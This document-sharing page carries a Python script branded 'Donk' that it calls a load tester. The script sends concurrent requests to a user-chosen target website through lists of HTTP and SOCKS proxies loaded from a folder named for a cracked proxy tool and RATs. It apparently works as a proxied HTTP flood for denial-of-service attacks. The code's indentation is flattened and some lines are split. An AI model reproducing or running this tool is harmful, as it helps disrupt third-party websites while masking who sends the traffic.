[go: up one dir, main page]

0% found this document useful (0 votes)
17 views2 pages

Python Code For Class

Download as txt, pdf, or txt
Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1/ 2

import requests

import pyfiglet
from colorama import Fore, Style, init
from concurrent.futures import ThreadPoolExecutor
import socks # Import the socks module for SOCKS proxy support
import time
import random

# Initialize colorama
init(autoreset=True)

# Load proxies from files


def load_proxies(file_path):
with open(file_path, 'r') as file:
return [line.strip() for line in file]

# Update file paths


http_proxies = load_proxies(r"C:\Users\marce\Documents\RATS\AstroProxy v2 Cracked
By Drcrypt0r\AstroProxy v2 Cracked By Drcrypt0r\results\HTTP_Proxies.txt")
socks4_proxies = load_proxies(r"C:\Users\marce\Documents\RATS\AstroProxy v2 Cracked
By Drcrypt0r\AstroProxy v2 Cracked By Drcrypt0r\results\SOCKS4_Proxies.txt")
socks5_proxies = load_proxies(r"C:\Users\marce\Documents\RATS\AstroProxy v2 Cracked
By Drcrypt0r\AstroProxy v2 Cracked By Drcrypt0r\results\SOCKS5_Proxies.txt")

# Combine all proxies into a single list


all_proxies = [
{"http": f"http://{proxy}", "https": f"http://{proxy}"} for proxy in
http_proxies
] + [
{"http": f"socks4://{proxy}", "https": f"socks4://{proxy}"} for proxy in
socks4_proxies
] + [
{"http": f"socks5://{proxy}", "https": f"socks5://{proxy}"} for proxy in
socks5_proxies
]

url = None

def send_request(proxy):
try:
response = requests.get(url, proxies=proxy, timeout=10) # Increased
timeout
print(f"{Fore.GREEN}Status Code: {response.status_code} for proxy:
{proxy}")
except requests.RequestException as e:
print(f"{Fore.RED}Request failed for proxy {proxy}: {e}")
finally:
# Sleep for a random time between 2 and 5 seconds and print waiting message
each second
wait_time = random.randint(2, 5)
for second in range(1, wait_time + 1):
print(f"Waiting {second} second{'s' if second > 1 else ''}...")
time.sleep(1)

def run_load_test(num_requests):
with ThreadPoolExecutor(max_workers=num_requests) as executor:
for proxy in all_proxies:
executor.submit(send_request, proxy)
def main_menu():
global url
banner = pyfiglet.figlet_format("Donk")
print(Fore.CYAN + banner)
print(Fore.CYAN + "Made by Marcel Afsar")

while True:
print(Fore.YELLOW + "1. Set Target Website")
print(Fore.YELLOW + "2. Start Load Test")
print(Fore.YELLOW + "3. Exit")

choice = input(Fore.CYAN + "Enter your choice: ")

if choice == '1':
url = input(Fore.CYAN + "Enter the target website URL: ")
elif choice == '2':
if url is None:
print(Fore.RED + "Please set the target website URL first.")
else:
num_requests = int(input(Fore.CYAN + "Enter number of concurrent
requests: "))
run_load_test(num_requests)
elif choice == '3':
print(Fore.CYAN + "Exiting...")
break
else:
print(Fore.RED + "Invalid choice. Please try again.")

if __name__ == "__main__":
main_menu()

You might also like